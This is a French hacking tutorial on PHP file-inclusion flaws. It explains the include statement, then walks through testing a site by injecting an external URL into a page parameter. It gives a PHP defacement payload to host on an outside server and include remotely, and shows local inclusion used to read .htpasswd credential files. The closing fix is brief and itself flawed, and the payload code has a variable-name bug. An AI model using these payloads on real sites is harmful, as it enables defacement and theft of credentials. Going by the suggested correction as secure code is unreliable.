La Faille include

1) Quesque c'est t'y cette chose ?


La faille include c'est la possibilité d'inserer du code malveillant dans une page deja existante.
Je traduit => si vous trouvez une faille include sur un site, vous pourrez faire a peu pres tout ce que vous voudrez avec !

2) présentation


Tout d'abord qu'est ce que ce "include" dans "faille include" et bien, les include sont les outils des fegnants !
Au lieu de repeter des centaines de fois la meme protion de code, on créer une page "portion_de_code.php" puis on l'inclus
la ou en a besoin grace a la commande "include".
exemple =>

<?
// code quelquonque ...
// didonc, ici j'aurais bien besoin du code long et chian que je doit mettre au moins 10 fois dans toute les pages de
// mon site !
//
// A mais j'alais oublier, c'est cool alors ! Je n'ai pas besoin de me faire chier a le taper, vue que le l'ai mit dans la
// page "code_long_et_chiant_a_taper.php" !!

$page_a_inclure = "code_long_et_chiant_a_taper.php"; // je stoque le nom du fichier dans une variable (dans une boite)
include("$page_a_inclure"); // et je l'inclut !

// Cool je ne me suis pas fait chier a taper tout le code ! A la place, j'ai tapé que 2 mini-ligne de code ! cooool
?>


3) Exploitation

alors, c'est bien zoli tout ca mais comment voit on si une page est incluse ?
regardez l'adresse suivante :

http://siteouaib.com/index.php?page=coolCaAlors.php

remarquez bien le "page=coolCaAlors.php"
La page "coolCaAlors.php" a été incluse !!

Cela ne veut pas dire pour autant que le site est vulnerable ! Alors procedons a un test :
a la place de :
http://siteouaib.com/index.php?page=coolCaAlors.php
essayez
http://siteouaib.com/index.php?page=http://www.google.com

si google s'affiche au beau milieu de la page, c'est que le site est vulnerable !
C'est donc la que reside cette faille , dans le fait que l'on peut inclure n'importe quel page au sein d'une autre

si on met :

http://sitealacon.com/index.php?page=http://www.http://users.rockweb.org/Raven45

Le site sera inseré dans index , si ce n'est pas le cas c'est donc que la faille est bouchée
Cette faille donc va nous permettre d'inserer un code malveillant venant d'un autre site sinon mieu du notre ^^
ex : sur mon site je crée un fichier inc.php et dedans je met :

<?
$fichier=fopen('index.php','a'); //cette ligne ouvre le fichier index.php
fwrite($Fichier,'Web Site Defaced'); // Cette ligne ecrit dans index.php
fclose($fichier); // On ferme le fichier , Facultatif
?>

Donc on a cette page sur notre serveur que je nomerai http://toto.fr
Maintenant on procede a l'inclusion :
http://sitealacon.com/index.php?page=http://toto.fr/inc

Et voila le site est "defacé", du moins, la page principale a été modifié pour simuler un defacage vu que les autre page sur
le serveur sont intactes !

C'est ti pas bo tout ca ?

Mais attention !! il ne faux pas mettre :
http://sitealacon.com/index.php?page=http://toto.fr/inc.php
mais
http://sitealacon.com/index.php?page=http://toto.fr/inc
car sinon le fichier sera interpréter sur votre serveur !!

4) L'include local


Sachez que grace a la faille include, vous pouvez aussi inclure des fichier interessant présent sur le serveur cible ! (passwd.txt, htacces, htpassd, la DB ...etc.)
un exemple suffira a vous faire comprendre :

http://sitealacon.com/index.php?page=protect/.htpasswd

Et tadaa, htpasswd s'affiche au beau milieu de la page !

5) Correction de la faille

C'est bien joli de s'avoir l'exploiter cette faille, mais encore faudrait il savoir la corriger !!
Au lieu de mettre le code de l'exemple on va remplacer par ca :

QUOTE
< ?
$page_a_inclure = "code_long_et_chiant_a_taper.php";
if (file_exists($page_a_inclure)) { //verifie si le fichier existe bien sur le serveur
include("$page_a_inclure.php"); //inclus la page EN PHP
}
else {include("404.php");} //inclusion d'une page d'erreur
?>